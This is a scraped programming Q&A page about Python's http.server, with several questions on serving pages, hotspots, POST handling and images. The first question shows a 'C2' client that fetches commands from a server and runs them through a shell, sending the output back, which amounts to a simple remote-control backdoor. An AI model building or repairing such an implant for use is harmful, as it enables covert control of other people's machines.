Terminates the connection after ONE command to the client - python

My code is functional but only for the first command I send, after that the client connection stops with WinError 10061 but I don't know how to fix the problem.
Client.py
while True:
req = requests.get('http://my_local_ip:5000')
c2_command = req.text
if 'terminate' in c2_command:
break
else:
CMD = subprocess.Popen(c2_command, shell=True, stdin=subprocess.PIPE,stdout=subprocess.PIPE,stderr=subprocess.PIPE)
post_response = requests.post(url='http://my_local_ip:5000', data=CMD.stdout.read())
Server.py
HOST_NAME = "my_local_ip"
PORT_NUMBER = 5000
class HTTPHandler(http.server.BaseHTTPRequestHandler):
def do_GET(self):
c2_command = input('[connected] ')
self.send_response(200)
self.send_header('Content-Type', 'text/html')
self.end_headers()
self.wfile.write(c2_command.encode())
def do_POST(self):
self.send_response(200)
self.end_headers()
length = int(self.headers['Content-Length'])
PostData = self.rfile.read(length)
print(PostData.decode())
if __name__ == '__main__':
server_class = http.server.HTTPServer
httpd = server_class((HOST_NAME, PORT_NUMBER), HTTPHandler)
try:
httpd.serve_forever()
except KeyboardInterrupt:
print('[-] Server Terminated')
I tried to change the ip as well as to put in localhost or public ip but nothing to do.

Related

livedata in http-server hosted from python - update data

Is it possible to update a html site hosted with builtin modules of python? This is a minimal example from https://pythonbasics.org/webserver/ I have extended a meta-tag to refresh the side every second. This looks like a hack to me. Is there any possible solution to make this more clean? I would like to avoid ajax and other external libraries.
# Python 3 server example
from http.server import BaseHTTPRequestHandler, HTTPServer
import time
hostName = "localhost"
serverPort = 8080
class MyServer(BaseHTTPRequestHandler):
output = []
def do_GET(self):
self.send_response(200)
self.send_header("Content-type", "text/html")
self.end_headers()
self.wfile.write(bytes("<html><head><title>https://pythonbasics.org</title>\n", "utf-8"))
self.wfile.write(bytes('<meta http-equiv="refresh" content="1">\n</head>', "utf-8"))
self.wfile.write(bytes("<body>", "utf-8"))
self.wfile.write(bytes("<p>This is an example web server.</p>", "utf-8"))
for text in MyServer.output:
self.wfile.write(bytes(text, "utf-8"))
self.wfile.write(bytes("</body></html>", "utf-8"))
def log_message(self, format, *args):
return
def http_serve():
webServer = HTTPServer((hostName, serverPort), MyServer)
print("Server started http://%s:%s" % (hostName, serverPort))
try:
webServer.serve_forever()
except KeyboardInterrupt:
pass
webServer.server_close()
print("Server stopped.")
from threading import Thread
thread_http_serve = Thread(target=http_serve)
thread_http_serve.start()
from time import sleep
for i in range(100):
text = "<p>sample data: " + str(i) + "</p>\n"
MyServer.output.append(text)
sleep(1)

Communicating with a server on a device using that server as a wifi hotspot

I have some python server code running on a laptop, and am trying to send GET/POST to the server's URL. This works fine using a python client or browser on the laptop, as well as on other devices connected to my home network.
However, I'd like to now use that laptop as a wifi hotspot, and connect to the server using devices that are connecting to that hotspot; for example, connecting to the hotspot on a phone, opening a browser, and entering the IP address and port into the address bar (eg http://192.181.1.XXX:80XX/example).
The URL fails to resolve only on devices using the server as a hotspot; switching back to the normal wifi network without changing the URL then successfully resolves, and a browser on the server itself can access it fine.
Do I need to change the URL in some manner when using the target server as a wifi hotspot, or is there something else I'm missing? Or is this actually impossible due to some networking reasons?
In case it's relevant, here is the server code:
from http.server import BaseHTTPRequestHandler, HTTPServer
import json
import cgi
import time
hostName = "192.168.1.XXX"
serverPort = 80XX
class MyServer(BaseHTTPRequestHandler):
def do_GET(self):
self.send_response(200)
self.send_header('Content-type', 'application/json')
self.end_headers()
data = json.dumps({'wifi period': '60', 'poll period': '1', '#':'1'})
self.wfile.write(bytes(data, "utf-8"))
def do_POST(self):
if hasattr(self.headers, 'getheader'):
ctype, pdict = cgi.parse_header(self.headers.getheader('content-type'))
print(ctype)
if ctype == 'application/x-www-form-urlencoded':
#todo: save file
return
if ctype != 'application/json':
print("invalid ctype.")
print(ctype)
self.send_response(400)
self.end_headers()
return
length = int(self.headers.getheader('content-length'))
else:
header = self.headers.get('content-type')
if header == 'application/x-www-form-urlencoded':
length = int(self.headers.get('content-length'))
content = self.rfile.read(length)
#TODO: save file
self.send_response(200)
self.end_headers()
return
elif header != 'application/json':
print(f"Header: {header}")
self.send_response(400)
self.end_headers()
return
length = int(self.headers.get('content-length'))
# read the message and convert it into a python dictionary
message = json.loads(self.rfile.read(length))
print(message)
self.send_response(200)
self.end_headers()
return
if __name__ == "__main__":
webServer = HTTPServer((hostName, serverPort), MyServer)
print("Server started http://%s:%s" % (hostName, serverPort))
try:
webServer.serve_forever()
except KeyboardInterrupt:
pass
webServer.server_close()
print("Server stopped.")

Python server is successfully handling post requests, but the file sending post requests fails somehow

This is my server that is handling post requests
from http.server import HTTPServer, BaseHTTPRequestHandler
class requestHandler(BaseHTTPRequestHandler):
def do_GET(self):
self.send_response(200)
self.send_header('content-type', 'text/html')
self.end_headers()
output = ''
output += '<html><body>'
output += '<h1> List of Followers</h1>'
self.wfile.write(output.encode())
def do_POST(self):
content_length = int(self.headers['Content-Length']) # <--- Gets the size of data
post_data = self.rfile.read(content_length) # <--- Gets the data itself
print(post_data.decode('utf-8'))
def main():
PORT = 8080
server_address = ('localhost', PORT)
server = HTTPServer(server_address, requestHandler)
print("Server running on port %s" % PORT)
server.serve_forever()
if __name__ == '__main__':
main()
This is my client that is sending a post request
import requests
import sys
try:
payload = {"name": "Me", "job" : "programmer"}
r = requests.post('http://localhost:8080/', json=payload)
except requests.exceptions.RequestException as e:
print("WTF IS GOING ON")
print(e)
sys.exit(1)
So this is being printed out by my server console
Server running on port 8080
{"name": "kenny", "job": "programmer"}
But this is being printed out by my client console
WTF IS GOING ON
('Connection aborted.', RemoteDisconnected('Remote end closed connection without response')
I'm not sure what this means and I've tried as much as I can before asking for help from the community. I appreciate the help
I wasn't sending a proper response code back to the client.
Adding this in the do_POST method fixed it.
self.send_response(200, "OK")
self.end_headers()

How to visualize the body part of a BaseHTTPRequestHandler

I'm writing a server in Python and I want to send some data in the body part of a GET request. Currently when I run my code it just freezes.
I tried to put it in a try/except and read details about the instance variable rfile but I didn't find anything helpful
Client-side :
import http.client
import sys
import os
#get http server ip
http_server = sys.argv[1]
#create a connection
conn = http.client.HTTPConnection(http_server)
while 1:
cmd = input('input command (ex. GET index.html): ')
cmd = cmd.split()
f = open('data.txt')
if cmd[0] == 'exit': #tipe exit to end it
break
#request command to server
conn.request(cmd[0],'',f.read())
#get response from server
rsp = conn.getresponse()
#print server response and data
print(rsp.status, rsp.reason)
data_received = rsp.read()
print(data_received)
Server-side :
from http.server import BaseHTTPRequestHandler,HTTPServer
import os
class TestHTTPRequestHandler(BaseHTTPRequestHandler):
def do_GET(self):
a = ''
fichier = open("data2.txt", "w")
try:
fichier.write(self.rfile.read())
except:
self.send_response(200)
self.send_header('Content-type','text-html')
self.end_headers()
return
def run():
print('http server is starting...')
server_address = ('127.0.0.1',80)
httpd = HTTPServer(server_address, PancakeHTTPRequestHandler)
print('htttp server is running...')
httpd.serve_forever()
if __name__ == '__main__':
run()
I expect being able to write my data from my GET request in my data2.txt file.
Thank you for your help
It freezes because of the self.rfile.read() in your server.py. The read method expect either EOF or a byte length to read. See https://docs.python.org/3/library/io.html#io.BufferedIOBase.read
You're trying to log the client requests made to the server, a quick work around would be to pass the content length of the request to the read method with int(self.headers.get('Content-Length'))
In the end it gives us:
client.py
import http.client
import sys
import os
#get http server ip
http_server = sys.argv[1]
#create a connection
conn = http.client.HTTPConnection(http_server)
while 1:
cmd = input('input command (ex. GET index.html): ')
cmd = cmd.split()
f = open('data.txt')
if cmd[0] == 'exit': #tipe exit to end it
break
#request command to server
conn.request(cmd[0], '', f.read())
#get response from server
rsp = conn.getresponse()
#print server response and data
print(rsp.status, rsp.reason)
data_received = rsp.read()
print(data_received)
server.py
from http.server import BaseHTTPRequestHandler,HTTPServer
import os
class TestHTTPRequestHandler(BaseHTTPRequestHandler):
def do_GET(self):
a = ''
fichier = open("data2.txt", "a")
try:
content_length = int(self.headers.get('Content-Length'))
response_str = self.rfile.read(content_length)
fichier.write(response_str.decode('utf-8'))
self.send_response(200)
self.send_header("Content-type", "text/html")
self.end_headers()
except:
self.send_response(200)
self.send_header('Content-type','text-html')
self.end_headers()
fichier.close()
return
def run():
print('http server is starting...')
server_address = ('127.0.0.1',80)
httpd = HTTPServer(server_address, TestHTTPRequestHandler)
print('htttp server is running...')
httpd.serve_forever()
if __name__ == '__main__':
run()
ps. I don't know what PancakeHTTPRequestHandler was so I replaced it with TestHTTPRequestHandler. And I also added a response in try except on the server side so that the the client gets a response otherwise it will crash.

Write image to webpage with python 3

I have currently got this code set up:
import time
import http.server
import socketserver
import mimetypes
import os
HOST_NAME = 'localhost'
PORT = 8000
def load(self):
with open(self, 'r') as self:
self = self.read()
return self.encode('UTF-8')
class MyHandler(http.server.BaseHTTPRequestHandler):
def do_HEAD(self):
self.send_response(200)
self.send_header("Content-type", "text/html")
self.end_headers()
def do_GET(self):
if self.path == "/":
self.send_response(200)
self.send_header("Content-type", "text/html")
self.end_headers()
self.wfile.write(load('index.html'))
if self.path.endswith('.css'):
self.send_response(200)
self.send_header("Content-type", "text/css")
self.end_headers()
dest = self.path.replace("/", "")
self.wfile.write(load(dest))
if self.path == "/bg.jpg":
self.send_response(200)
self.send_header("Content-type", "image/jpeg")
self.end_headers()
if __name__ == '__main__':
httpd = socketserver.TCPServer(("", PORT), MyHandler)
print(time.asctime(), "Server Starts - %s:%s" % ("", PORT))
try:
httpd.serve_forever()
except KeyboardInterrupt:
pass
httpd.server_close()
print(time.asctime(), "Server Stops - %s:%s" % ("", PORT))
My webpage seems to be working and I get my index.html and css loaded when I open up my webpage, however the image is not coming through, has anyone got any idea why?
To send an image over HTTP, just write the image data directly to the socket, like for any other type of file. You can't use your load() function for this, since that encodes the text as UTF-8. Instead, you should open the file with mode rb or similar, read a bytes from that filehandle, then write it directly to self.wfile in the HTTP handler.

Categories

Resources